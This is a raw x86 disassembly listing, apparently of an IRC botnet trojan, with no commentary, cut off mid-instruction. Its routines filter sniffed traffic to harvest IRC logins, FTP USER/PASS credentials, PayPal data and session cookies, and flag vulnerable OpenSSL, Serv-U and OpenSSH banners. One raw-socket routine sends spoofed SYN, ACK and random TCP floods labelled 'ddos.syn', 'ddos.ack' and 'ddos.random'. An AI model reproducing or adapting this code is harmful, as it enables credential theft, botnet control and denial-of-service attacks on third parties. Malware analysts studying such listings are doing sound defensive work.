0ABF3FFFFh dd 0AEF815FFh, 4D8D004Ch, 513C6AB8h, 0F8458950h, 0AF1015FFh dd 0BB004Ch, 6A000002h, 73E89008h, 0FF0225F1h, 4CAEF815h dd 0F8453B00h, 4D8D7574h, 513C6AB8h, 0F8458950h, 0AF1015FFh dd 458D004Ch, 858D50B8h, 0FFFFFD24h, 24858D50h, 68FFFFFBh dd 434E8Ch, 9AF8E850h, 0EC810000h, 84h, 0FF24B58Dh, 858DFFFFh dd 0FFFFFB24h, 8B59256Ah, 0A5F350FCh, 0FFFE66E8h, 0FC4589FFh dd 24858D53h, 6AFFFFFDh, 0D1E85000h, 81000097h, 0A4C4h dd 24858D00h, 53FFFFFBh, 0E850006Ah, 97BCh, 0C70CC483h dd 46C40845h, 106A0043h, 0AE4815FFh, 0BF0F004Ch, 8458BF0h dd 57FC788Bh, 0AF4015FFh, 0C4F6004Ch, 6A7B7480h, 4815FF14h dd 66004CAEh, 1F74C085h, 7EFFFE83h, 40FF831Ah, 0FF83157Eh dd 0C7107D5Bh, 0F724BD84h, 1FFFFh, 7FE90000h, 6A000001h dd 4815FF14h, 66004CAEh, 1E74C085h, 2E7DF685h, 7E40FF83h dd 5BFF8315h, 84C7107Dh, 0FFF724BDh, 2FFh, 154E900h, 0F6850000h dd 84C7107Dh, 0FFF724BDh, 3FFh, 140E900h, 84C70000h, 0FFF724BDh dd 4FFh, 130E900h, 0B48B0000h, 0FFF724BDh, 0BD848DFFh dd 0FFFFF724h, 840FF685h, 11Ah, 8D002083h, 0FFFD2485h dd 8FF83FFh, 0E8137550h, 9140h, 2305A480h, 0FFFFFDh, 0F8E959h dd 2DE80000h, 3D000091h, 1B9h, 0FF257659h, 4CAEF815h, 0B84D8D00h dd 50513C6Ah, 0AF1015FFh, 458D004Ch, 858D50B8h, 0FFFFFD24h dd 4E746850h, 41EB0043h, 0F0DFF83h, 8F85h, 24858D00h, 50FFFFFDh dd 90EBE8h, 59C08500h, 0A8840Fh, 15FF0000h, 4CAEF8h, 6AB84D8Dh dd 0FF50513Ch, 4CAF1015h, 0B8458D00h, 24858D50h, 50FFFFFDh dd 434E6068h, 24858D00h, 50FFFFFBh, 9959E8h, 84EC8100h dd 8D000000h, 0FFFF24B5h, 24858DFFh, 6AFFFFFBh, 0FC8B5925h dd 0E8A5F350h, 0FFFFFCC7h, 53FC4589h, 0FD24858Dh, 6AFFFFh dd 9632E850h, 0C4810000h, 0A4h, 0FB24858Dh, 6A53FFFFh dd 1DE85000h, 83000096h, 2EEB0CC4h, 7401FE83h, 3FE8314h dd 0FE830F74h, 83057402h, 1A7504FEh, 0EB0875FFh, 8458B07h dd 5007C083h, 0FD24858Dh, 0E850FFFFh, 9F1Ch, 45835959h dd 7D811408h, 434DF408h, 278C0F00h, 83FFFFFEh, 0F00FC7Dh dd 0FFFD8E84h, 28B5FFFFh, 0E8FFFFFFh, 0FFFF9446h, 90006A59h dd 2CE02BE8h db 2 byte_411FD5 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+412Ao dd 102B4B8h, 9B3EE800h, 558B0000h, 6A575608h, 0F28B5801h dd 0BD8D256Ah, 0FFFFFF4Ch, 0F8458959h, 8289A5F3h, 90h dd 106AF633h, 56E4458Dh, 9582E850h, 0C4830000h, 45C7660Ch dd 560002E4h, 0AF7415FFh, 0B5FF004Ch, 0FFFFFF4Ch, 0E6458966h dd 0FF8BE2E8h, 0FF5059FFh, 4CAFB415h, 36A5600h, 4589026Ah dd 0F415FFE8h, 8B004CAFh, 0FFFF83F8h, 75FC7D89h, 815FF5Dh dd 50004CAFh, 0FD4C858Dh, 0FC68FFFFh, 50004357h, 9821E8h dd 0CC48300h, 75D87539h, 858D5620h, 0FFFFFD4Ch, 50D475FFh dd 0FF50858Dh, 0FF50FFFFh, 0FFFF4CB5h, 79E8E8FFh, 0C483FFFFh dd 4C858D14h, 50FFFFFDh, 3113E8h, 0D075FF00h, 0FF9371E8h dd 565959FFh, 2CDF57E8h, 458B9002h, 69106AD0h, 234C0h dd 0BCB88900h, 8D0043DEh, 5750E445h, 0AFA015FFh, 0F883004Ch dd 0FF6475FFh, 4CAF0815h, 858D5000h, 0FFFFFD4Ch, 4357D068h dd 0A3E85000h, 83000097h, 75390CC4h, 562075D8h, 0FD4C858Dh dd 75FFFFFFh, 858D50D4h, 0FFFFFF50h, 4CB5FF50h, 0E8FFFFFFh dd 0FFFF796Ah, 8D14C483h, 0FFFD4C85h, 95E850FFh, 59000030h dd 0C15FF57h, 0FF004CB0h, 0EBE8D075h, 59FFFF92h, 0D1E89056h dd 56022CDEh, 56E0458Dh, 8D565650h, 46AF845h, 16850h, 0FF579800h dd 4CAF2015h, 0FFF88300h, 15FF6475h, 4CAF08h, 4C858D50h dd 68FFFFFDh, 4357A0h, 9720E850h, 0C4830000h, 0D875390Ch dd 8D562075h, 0FFFD4C85h, 0D475FFFFh, 50858D50h, 50FFFFFFh dd 0FF4CB5FFh, 0E7E8FFFFh, 83FFFF78h, 858D14C4h, 0FFFFFD4Ch dd 3012E850h, 57590000h, 0B00C15FFh, 75FF004Ch, 9268E8D0h dd 5659FFFFh, 0DE4EE890h, 0BB53022Ch, 434EB8h, 0FFFFBFh dd 4C858D00h, 57FFFEFDh, 0C5E85056h, 83000093h, 858D0CC4h dd 0FFFEFD4Ch, 0FF505756h, 15FFFC75h, 4CAF8Ch, 0FFFF883h dd 0FC84h, 55BD8000h, 6FFFEFDh, 858BC675h, 0FFFEFD58h dd 0FD6DBD80h, 8918FFFEh, 0B475F445h, 0FD74858Dh, 9468FFFEh dd 50004357h, 96EBE8h, 0C0855900h, 8D9D7559h, 0FEFD7485h dd 578468FFh, 0E8500043h, 96D4h, 59C08559h, 0C38B8675h dd 0C085FF33h, 0FF7A840Fh, 5D89FFFFh, 858D5008h, 0FFFEFD74h dd 96B2E850h, 85590000h, 0F7559C0h, 8458347h, 8458B18h dd 55E9E375h, 8DFFFFFFh, 0FEFD7485h, 0B5FF50FFh, 0FFFEFD60h dd 0AEA415FFh, 0B70F004Ch, 75FF50C0h, 15FFF4h, 50004CB0h dd 8B7F048Dh, 4ECCC504h, 34FF0043h, 434EA885h, 4C858D00h dd 68FFFFFDh, 435750h, 20068h, 0D5E85000h, 83000096h, 75391CC4h dd 562075D8h, 0FD4C858Dh, 75FFFFFFh, 858D50D4h, 0FFFFFF50h dd 4CB5FF50h, 0E8FFFFFFh, 0FFFF77A2h, 8D14C483h, 0FFFD4C85h dd 0CDE850FFh, 5900002Eh, 0FFFED3E9h, 815FFFFh, 50004CAFh dd 43572468h, 4C858D00h, 68FFFFFDh, 200h, 967EE850h, 0C4830000h dd 0D8753910h, 5620755Bh, 0FD4C858Dh, 75FFFFFFh, 858D50D4h dd 0FFFFFF50h, 4CB5FF50h, 0E8FFFFFFh, 0FFFF774Ah, 8D14C483h dd 0FFFD4C85h, 75E850FFh, 5900002Eh, 0FFFC75FFh, 4CB00C15h dd 0D075FF00h, 0FF90C9E8h, 905659FFh, 2CDCAFE8h db 2 ; =============== S U B R O U T I N E ======================================= sub_412351 proc near ; CODE XREF: sub_412660+213p ; sub_412660+239p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dword_4CDCE0, eax mov eax, offset dword_4CDCE0 retn sub_412351 endp ; =============== S U B R O U T I N E ======================================= sub_412360 proc near ; CODE XREF: sub_412660+2BFp arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aBotSniff ; "Bot sniff" push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_41237A loc_412376: ; CODE XREF: sub_412360+29j ; sub_412360+3Aj ... xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_41237A: ; CODE XREF: sub_412360+14j push offset aFaak ; "#FAAK#" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_412376 push offset aPsniff_1 ; "[PSNIFF]:" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_412376 push offset aPsniff_0 ; "PSNIFF//" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_412376 push offset aJoin_0 ; "JOIN #" push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_4123C2 loc_4123BE: ; CODE XREF: sub_412360+71j ; sub_412360+82j ... mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_4123C2: ; CODE XREF: sub_412360+5Cj push offset a302_0 ; "302 " push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4123BE push offset a366 ; "366 " push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4123BE push offset a_login_0 ; ":.login" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4123BE push offset aLogin_0 ; ":!login" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4123BE push offset aLogin ; ":!Login" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4123BE push offset a_login ; ":.Login" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4123BE push offset a_ident ; ":.ident" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4123BE push offset aIdent_0 ; ":!ident" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz loc_4123BE push offset a_hashin ; ":.hashin" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz loc_4123BE push offset aHashin ; ":!hashin" push esi call sub_41B900 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_412360 endp ; =============== S U B R O U T I N E ======================================= sub_412477 proc near ; CODE XREF: sub_412660+2F8p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aIrcSniff ; "IRC sniff" push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_412491 loc_41248D: ; CODE XREF: sub_412477+29j xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_412491: ; CODE XREF: sub_412477+14j push offset aFaak ; "#FAAK#" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_41248D push offset aOper_0 ; "OPER " push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_4124B7 loc_4124B3: ; CODE XREF: sub_412477+4Fj ; sub_412477+60j mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_4124B7: ; CODE XREF: sub_412477+3Aj push offset aNick_1 ; "NICK " push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4124B3 push offset aOper ; "oper " push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4124B3 push offset aYouAreNowAnIrc ; "You are now an IRC Operator" push esi call sub_41B900 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_412477 endp ; =============== S U B R O U T I N E ======================================= sub_4124ED proc near ; CODE XREF: sub_412660+32Ep arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aFtpSniff ; "FTP sniff" push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_412507 loc_412503: ; CODE XREF: sub_4124ED+29j ; sub_4124ED+3Aj xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_412507: ; CODE XREF: sub_4124ED+14j push offset aFaak ; "#FAAK#" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_412503 push offset aNick_1 ; "NICK " push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_412503 push offset a220 ; "220 " push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_41253E loc_41253A: ; CODE XREF: sub_4124ED+60j ; sub_4124ED+71j mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_41253E: ; CODE XREF: sub_4124ED+4Bj push offset a230 ; "230 " push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_41253A push offset aUser_3 ; "USER " push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_41253A push offset aPass_0 ; "PASS " push esi call sub_41B900 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_4124ED endp ; =============== S U B R O U T I N E ======================================= sub_412574 proc near ; CODE XREF: sub_412660+35Fp arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aHttpSniff ; "HTTP sniff" push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_41258E loc_41258A: ; CODE XREF: sub_412574+29j xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_41258E: ; CODE XREF: sub_412574+14j push offset aFaak ; "#FAAK#" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_41258A push offset aPaypal ; "paypal" push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_4125B4 loc_4125B0: ; CODE XREF: sub_412574+4Fj ; sub_412574+60j ... mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_4125B4: ; CODE XREF: sub_412574+3Aj push offset aPaypal_0 ; "PAYPAL" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4125B0 push offset aPaypal_com_0 ; "PAYPAL.COM" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4125B0 push offset aPaypal_com ; "paypal.com" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4125B0 push offset aSetCookie ; "Set-Cookie:" push esi call sub_41B900 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_412574 endp ; =============== S U B R O U T I N E ======================================= sub_4125FB proc near ; CODE XREF: sub_412660:loc_412A25p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aVulnSniff ; "VULN sniff" push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_412615 loc_412611: ; CODE XREF: sub_4125FB+29j xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_412615: ; CODE XREF: sub_4125FB+14j push offset aFaak ; "#FAAK#" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_412611 push offset aOpenssl0_9_6 ; "OpenSSL/0.9.6" push esi call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_41263B loc_412637: ; CODE XREF: sub_4125FB+4Fj mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_41263B: ; CODE XREF: sub_4125FB+3Aj push offset aServUFtpServer ; "Serv-U FTP Server" push esi call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_412637 push offset aOpenssh_2 ; "OpenSSH_2" push esi call sub_41B900 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_4125FB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412660 proc near ; DATA XREF: sub_401ACD+427Co var_113B8 = byte ptr -113B8h var_113AF = byte ptr -113AFh var_113AC = dword ptr -113ACh var_113A8 = dword ptr -113A8h var_113A4 = dword ptr -113A4h var_1138C = byte ptr -1138Ch var_13B8 = byte ptr -13B8h var_BB8 = byte ptr -0BB8h var_3B8 = byte ptr -3B8h var_3B7 = byte ptr -3B7h var_2B8 = byte ptr -2B8h var_B8 = dword ptr -0B8h var_B4 = byte ptr -0B4h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_24 = byte ptr -24h var_20 = word ptr -20h var_1E = word ptr -1Eh var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 113B8h call sub_41BB20 mov eax, [ebp+arg_0] push ebx push esi push edi push 25h mov esi, eax pop ecx lea edi, [ebp+var_B8] rep movsd push 1 xor ebx, ebx pop esi lea edi, [ebp+var_3B7] push 3Fh mov [eax+90h], esi pop ecx xor eax, eax mov [ebp+var_3B8], bl push 0FFh rep stosd stosw lea eax, [ebp+var_3B8] mov [ebp+var_20], 2 push eax mov [ebp+var_1E], bx mov [ebp+var_1C], ebx call dword_4CAF88 lea eax, [ebp+var_3B8] push eax call dword_4CAFF8 movsx ecx, word ptr [eax+0Ah] mov eax, [eax+0Ch] push ecx push dword ptr [eax] lea eax, [ebp+var_8] push eax call sub_41C310 mov eax, [ebp+var_8] add esp, 0Ch mov [ebp+var_1C], eax push ebx push 3 push 2 call dword_4CAFF4 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_10], edi jnz short loc_412706 pop edi pop esi xor eax, eax pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_412706: ; CODE XREF: sub_412660+9Bj lea eax, [ebp+var_20] push 10h push eax push edi call dword_4CAFA0 cmp eax, 0FFFFFFFFh jnz short loc_41277C call dword_4CAF08 push eax lea eax, [ebp+var_2B8] push offset unk_435AD0 push eax call sub_41B886 add esp, 0Ch cmp [ebp+var_2C], ebx jnz short loc_412758 push ebx lea eax, [ebp+var_2B8] push [ebp+var_30] push eax lea eax, [ebp+var_B4] push eax push [ebp+var_B8] call sub_409A72 add esp, 14h loc_412758: ; CODE XREF: sub_412660+D6j lea eax, [ebp+var_2B8] push eax call sub_4151AC pop ecx push edi call dword_4CB00C push [ebp+var_34] call sub_40B412 pop ecx push ebx nop call near ptr 26E0000h loc_41277C: ; CODE XREF: sub_412660+B6j push ebx lea eax, [ebp+var_24] push ebx push eax push ebx push ebx lea eax, [ebp+var_C] push 4 push eax push 98000001h push edi mov [ebp+var_C], esi call dword_4CAF20 cmp eax, 0FFFFFFFFh jnz short loc_412802 call dword_4CAF08 push eax lea eax, [ebp+var_2B8] push offset unk_435AA0 push eax call sub_41B886 add esp, 0Ch cmp [ebp+var_2C], ebx jnz short loc_4127DE push ebx lea eax, [ebp+var_2B8] push [ebp+var_30] push eax lea eax, [ebp+var_B4] push eax push [ebp+var_B8] call sub_409A72 add esp, 14h loc_4127DE: ; CODE XREF: sub_412660+15Cj lea eax, [ebp+var_2B8] push eax call sub_4151AC pop ecx push edi call dword_4CB00C push [ebp+var_34] call sub_40B412 pop ecx push ebx call near ptr 26E0000h nop loc_412802: ; CODE XREF: sub_412660+13Cj mov esi, 200h loc_412807: ; CODE XREF: sub_412660+1D6j ; sub_412660+1FBj ... mov edi, 0FFFFh lea eax, [ebp+var_113B8] push edi push ebx push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_113B8] push ebx push edi push eax push [ebp+var_10] call dword_4CAF8C cmp [ebp+var_113AF], 6 jnz short loc_412807 push [ebp+var_113A4] mov edi, dword_4271E4 call edi ; htons push [ebp+var_113A4+2] movzx eax, ax mov [ebp+arg_0], eax call edi ; htons cmp [ebp+arg_0], 6Eh movzx edi, ax jz short loc_412807 cmp [ebp+arg_0], 19h jz short loc_412807 cmp edi, 6Eh jz short loc_412807 cmp edi, 19h jz short loc_412807 push [ebp+var_113AC] call sub_412351 pop ecx push dword ptr [eax] call near ptr 71AB401Ch nop push eax lea eax, [ebp+var_13B8] push offset aS_1 ; "%s" push eax call sub_41B886 push [ebp+var_113A8] call sub_412351 add esp, 10h push dword ptr [eax] call near ptr 71AB401Ch nop push eax lea eax, [ebp+var_BB8] push offset aS_1 ; "%s" push eax call sub_41B886 lea eax, [ebp+var_1138C] mov [ebp+var_4], ebx push eax call sub_41AFE0 add esp, 10h test eax, eax jle short loc_412905 loc_4128D1: ; CODE XREF: sub_412660+2A3j mov eax, [ebp+var_4] cmp [ebp+eax+var_1138C], 0Dh lea eax, [ebp+eax+var_1138C] jnz short loc_4128E8 mov byte ptr [eax], 20h loc_4128E8: ; CODE XREF: sub_412660+283j cmp byte ptr [eax], 0Ah jnz short loc_4128F0 mov byte ptr [eax], 20h loc_4128F0: ; CODE XREF: sub_412660+28Bj inc [ebp+var_4] lea eax, [ebp+var_1138C] push eax call sub_41AFE0 cmp [ebp+var_4], eax pop ecx jl short loc_4128D1 loc_412905: ; CODE XREF: sub_412660+26Fj cmp [ebp+arg_0], 50h jz loc_4129B8 cmp edi, 50h jz loc_4129B8 lea eax, [ebp+var_1138C] push eax call sub_412360 test al, al pop ecx jz short loc_41294C lea eax, [ebp+var_1138C] push eax lea eax, [ebp+var_BB8] push edi push eax push [ebp+arg_0] lea eax, [ebp+var_13B8] push eax push offset unk_435A6C jmp loc_4129E7 ; --------------------------------------------------------------------------- loc_41294C: ; CODE XREF: sub_412660+2C7j cmp edi, 50h jz short loc_4129B8 lea eax, [ebp+var_1138C] push eax call sub_412477 test al, al pop ecx jz short loc_412982 lea eax, [ebp+var_1138C] push eax lea eax, [ebp+var_BB8] push edi push eax push [ebp+arg_0] lea eax, [ebp+var_13B8] push eax push offset unk_435A38 jmp short loc_4129E7 ; --------------------------------------------------------------------------- loc_412982: ; CODE XREF: sub_412660+300j cmp edi, 50h jz short loc_4129B8 lea eax, [ebp+var_1138C] push eax call sub_4124ED test al, al pop ecx jz short loc_4129B8 lea eax, [ebp+var_1138C] push eax lea eax, [ebp+var_BB8] push edi push eax push [ebp+arg_0] lea eax, [ebp+var_13B8] push eax push offset unk_435A04 jmp short loc_4129E7 ; --------------------------------------------------------------------------- loc_4129B8: ; CODE XREF: sub_412660+2A9j ; sub_412660+2B2j ... lea eax, [ebp+var_1138C] push eax call sub_412574 test al, al pop ecx lea eax, [ebp+var_1138C] push eax jz short loc_412A25 lea eax, [ebp+var_BB8] push edi push eax lea eax, [ebp+var_13B8] push [ebp+arg_0] push eax push offset unk_4359CC loc_4129E7: ; CODE XREF: sub_412660+2E7j ; sub_412660+320j ... lea eax, [ebp+var_2B8] push esi push eax call sub_41B980 add esp, 20h cmp [ebp+var_2C], ebx jnz loc_412807 push ebx lea eax, [ebp+var_2B8] push [ebp+var_30] push eax lea eax, [ebp+var_B4] push eax push [ebp+var_B8] call sub_409A72 add esp, 14h jmp loc_412807 ; --------------------------------------------------------------------------- loc_412A25: ; CODE XREF: sub_412660+36Ej call sub_4125FB test al, al pop ecx jz loc_412807 lea eax, [ebp+var_1138C] push eax lea eax, [ebp+var_BB8] push edi push eax push [ebp+arg_0] lea eax, [ebp+var_13B8] push eax push offset unk_435994 jmp short loc_4129E7 sub_412660 endp ; --------------------------------------------------------------------------- byte_412A53 db 55h ; DATA XREF: sub_401ACD+6542o dd 0EC81EC8Bh, 494h, 5608458Bh, 0A5B957h, 0F08B0000h, 0FD6CBD8Dh dd 0A5F3FFFFh, 29080C7h, 10000h, 0E8900000h, 227DB9Dh dd 8E52E850h, 858D0000h, 0FFFFFE74h, 74858D50h, 50FFFFFFh dd 0FDF4858Dh, 8D50FFFFh, 0FFFD7485h, 98E850FFh, 83000003h dd 8D5014C4h, 0FFFB6C85h, 5AFC68FFh, 0E8500043h, 8DCAh dd 0C483F633h, 0F875390Ch, 8D562075h, 0FFFB6C85h, 0F475FFFFh dd 0F4858D50h, 50FFFFFEh, 0FD6CB5FFh, 8FE8FFFFh, 83FFFF6Fh dd 858D14C4h, 0FFFFFB6Ch, 26BAE850h, 0B5FF0000h, 0FFFFFD70h dd 0FF8915E8h, 565959FFh, 2CD4FBE8h, 5E5F9002h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412B08 proc near ; CODE XREF: ___:00412E7Fp var_284 = byte ptr -284h var_F4 = byte ptr -0F4h var_B4 = byte ptr -0B4h var_B3 = byte ptr -0B3h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h var_8C = byte ptr -8Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = byte ptr -70h var_6F = byte ptr -6Fh var_6E = word ptr -6Eh var_58 = word ptr -58h var_56 = word ptr -56h var_54 = dword ptr -54h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = byte ptr -34h var_32 = word ptr -32h var_30 = word ptr -30h var_2E = word ptr -2Eh var_2C = byte ptr -2Ch var_2B = byte ptr -2Bh var_2A = word ptr -2Ah var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = word ptr -6 var_4 = word ptr -4 var_2 = word ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 284h push ebx push edi push 0Eh xor ebx, ebx pop ecx xor eax, eax lea edi, [ebp+var_B3] mov [ebp+var_B4], bl rep stosd stosw stosb lea eax, [ebp+var_284] push eax push 202h call dword_4CAEE4 test eax, eax jz short loc_412B48 xor eax, eax jmp loc_412E3B ; --------------------------------------------------------------------------- loc_412B48: ; CODE XREF: sub_412B08+37j push 1 pop edi push edi push ebx push ebx push 0FFh push 3 push 2 call dword_4CB018 cmp eax, 0FFFFFFFFh mov [ebp+var_20], eax jz loc_412E33 push esi lea ecx, [ebp+var_40] push 4 push ecx push 2 push ebx push eax mov [ebp+var_40], edi call dword_4CAF54 cmp eax, 0FFFFFFFFh jz loc_412E29 push [ebp+arg_C] mov [ebp+var_58], 2 call dword_4CAF74 mov esi, [ebp+arg_0] push 28h mov [ebp+var_56], ax mov [ebp+var_54], esi mov [ebp+var_34], 45h call dword_4CAF74 push [ebp+arg_C] mov [ebp+var_32], ax mov [ebp+var_30], di mov [ebp+var_2E], bx mov [ebp+var_2C], 80h mov [ebp+var_2B], 6 mov [ebp+var_2A], bx mov [ebp+var_24], esi call dword_4CAF74 mov [ebp+var_12], ax call sub_41B8E2 movzx eax, ax cdq mov ecx, 401h idiv ecx push edx call dword_4CAF74 push 12345678h mov [ebp+var_14], ax call dword_4CAF70 push offset aDdos_syn ; "ddos.syn" mov [ebp+var_10], eax push [ebp+arg_8] call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_412C18 mov [ebp+var_C], ebx mov [ebp+var_7], 2 jmp short loc_412C6C ; --------------------------------------------------------------------------- loc_412C18: ; CODE XREF: sub_412B08+105j push offset aDdos_ack ; "ddos.ack" push [ebp+arg_8] call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_412C34 mov [ebp+var_C], ebx mov [ebp+var_7], 10h jmp short loc_412C6C ; --------------------------------------------------------------------------- loc_412C34: ; CODE XREF: sub_412B08+121j push offset aDdos_random ; "ddos.random" push [ebp+arg_8] call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_412C6C call sub_41B8E2 push 3 cdq pop ecx idiv ecx mov [ebp+var_C], edx call sub_41B8E2 push 2 cdq pop ecx idiv ecx neg edx sbb dl, dl and dl, 0Eh add dl, cl mov [ebp+var_7], dl loc_412C6C: ; CODE XREF: sub_412B08+10Ej ; sub_412B08+12Aj ... push 4000h mov [ebp+var_8], 50h call dword_4CAF74 mov [ebp+var_6], ax lea eax, [ebp+var_48] push eax mov [ebp+var_2], bx mov [ebp+arg_8], ebx call near ptr 27A0000h nop lea eax, [ebp+var_1C] push eax nop call near ptr 2790A82h push [ebp+var_44] mov eax, [ebp+arg_10] cdq push [ebp+var_48] push edx push eax call sub_41D280 add eax, [ebp+var_1C] push 14h pop esi adc edx, [ebp+var_18] mov [ebp+var_3C], eax mov [ebp+var_38], edx loc_412CBA: ; CODE XREF: sub_412B08+2E2j ; sub_412B08+2F0j mov [ebp+var_4], bx call sub_41B8E2 cdq mov ecx, 3E9h idiv ecx add edx, 3E8h push edx call dword_4CAF74 mov [ebp+var_14], ax call sub_41B8E2 mov edi, eax shl edi, 10h call sub_41B8E2 or edi, eax push edi call dword_4CAF74 movzx eax, ax mov [ebp+var_10], eax mov eax, [ebp+arg_4] inc [ebp+arg_4] push eax call dword_4CAF70 mov [ebp+var_28], eax mov eax, [ebp+var_24] push esi mov [ebp+var_74], eax mov [ebp+var_70], bl mov [ebp+var_6F], 6 call dword_4CAF74 mov [ebp+var_6E], ax mov eax, [ebp+var_28] mov [ebp+var_78], eax lea eax, [ebp+var_78] push 20h push eax lea eax, [ebp+var_B4] push eax call sub_41C310 lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_94] push eax call sub_41C310 lea eax, [ebp+var_B4] push 34h push eax call sub_40AC68 mov [ebp+var_4], ax lea eax, [ebp+var_34] push esi push eax lea eax, [ebp+var_B4] push eax call sub_41C310 lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_A0] push eax call sub_41C310 push 4 lea eax, [ebp+var_8C] push ebx push eax call sub_41B590 add esp, 44h lea eax, [ebp+var_B4] push 28h push eax call sub_40AC68 mov [ebp+var_2A], ax lea eax, [ebp+var_34] push esi push eax lea eax, [ebp+var_B4] push eax call sub_41C310 add esp, 14h lea eax, [ebp+var_58] push 10h push eax push ebx lea eax, [ebp+var_B4] push 28h push eax push [ebp+var_20] call dword_4CAFD8 cmp eax, 0FFFFFFFFh jz short loc_412DFD add [ebp+arg_8], eax lea eax, [ebp+var_1C] push eax nop call near ptr 2790A82h mov eax, [ebp+var_18] cmp eax, [ebp+var_38] jg short loc_412E26 jl loc_412CBA mov eax, [ebp+var_1C] cmp eax, [ebp+var_3C] jnb short loc_412E26 jmp loc_412CBA ; --------------------------------------------------------------------------- loc_412DFD: ; CODE XREF: sub_412B08+2CBj call dword_4CAF08 push eax lea eax, [ebp+var_F4] push offset dword_435B24 push eax call sub_41B886 lea eax, [ebp+var_F4] push eax call sub_4151AC add esp, 10h jmp short loc_412E29 ; --------------------------------------------------------------------------- loc_412E26: ; CODE XREF: sub_412B08+2E0j ; sub_412B08+2EEj mov ebx, [ebp+arg_8] loc_412E29: ; CODE XREF: sub_412B08+78j ; sub_412B08+31Cj push [ebp+var_20] call dword_4CB00C pop esi loc_412E33: ; CODE XREF: sub_412B08+5Bj call dword_4CAECC mov eax, ebx loc_412E3B: ; CODE XREF: sub_412B08+3Bj pop edi pop ebx leave retn sub_412B08 endp ; --------------------------------------------------------------------------- push ebx push esi push edi push dword ptr [esp+10h] call sub_40AAF9 push dword ptr [esp+18h] mov esi, eax call sub_41B779 push dword ptr [esp+24h] mov 